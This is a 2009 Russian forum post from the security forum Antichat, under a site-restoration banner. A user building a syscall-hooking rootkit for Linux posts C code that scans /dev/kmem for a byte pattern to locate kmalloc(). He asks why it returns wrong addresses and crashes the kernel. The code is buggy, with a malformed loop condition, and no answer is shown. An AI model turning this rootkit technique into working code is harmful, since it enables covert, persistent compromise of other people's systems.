ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

04.04.2009, 20:59
|
|
Новичок
Регистрация: 04.04.2009
Сообщений: 2
Провел на форуме: 4198
Репутация:
0
|
|
Проблема с kmalloc()
Доброго дня суток.
Пишу программу под nix (дистр - слака 12.1), обычный руткит, перехватывающий системный вызов.
Встал вопрос о том, каким образом найти адрес функции kmalloc(), чтобы вызвать по найденному адресу из user-mode.
Используется следующая функция, но почему то она находит адреса (причем куча) только после 0xc1######, хотя как мне кажется все системные функции должны находится в интервале от нижней границы 0xc0000000 до 0xc1000000.
Код:
unsigned long get_kma()
{
unsigned int i;
unsigned char buf[0x10000], *p, *p1;
unsigned long ret;
char c;
kmem = open("/dev/kmem", O_RDONLY);
if (kmem<0) return 1;
for (i = page_offset+0x100000; i<(page_offset; 0x10000000); i+=0x10000)
{
readkmem (buf,i,sizeof(buf));
//printf("%s\n",buf);
//c = getc(stdin);
p1 = (char*)memmem (buf, sizeof(buf), "\x68\xf0\x01\x00",4);
if (p1)
{
printf("kmalloc() is found!!!\n");
p = (char*)memmem(p1+4, sizeof(buf), "\xe8",1)+1;
if (p)
{
//close (kmem);
//return *(unsigned long *)p+i+(p-buf)+4;
printf("----0x%x\n", *(unsigned long *)p+i+(p-buf)+4);
c=getc(stdin);
}
}
}
close(kmem);
return 0;
}
Пытался собственно вызвать один из полученных адресов - ядро улетает, приходится перезагружаться. В чем может быть проблема, почему не находит адрес kmalloc()?
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|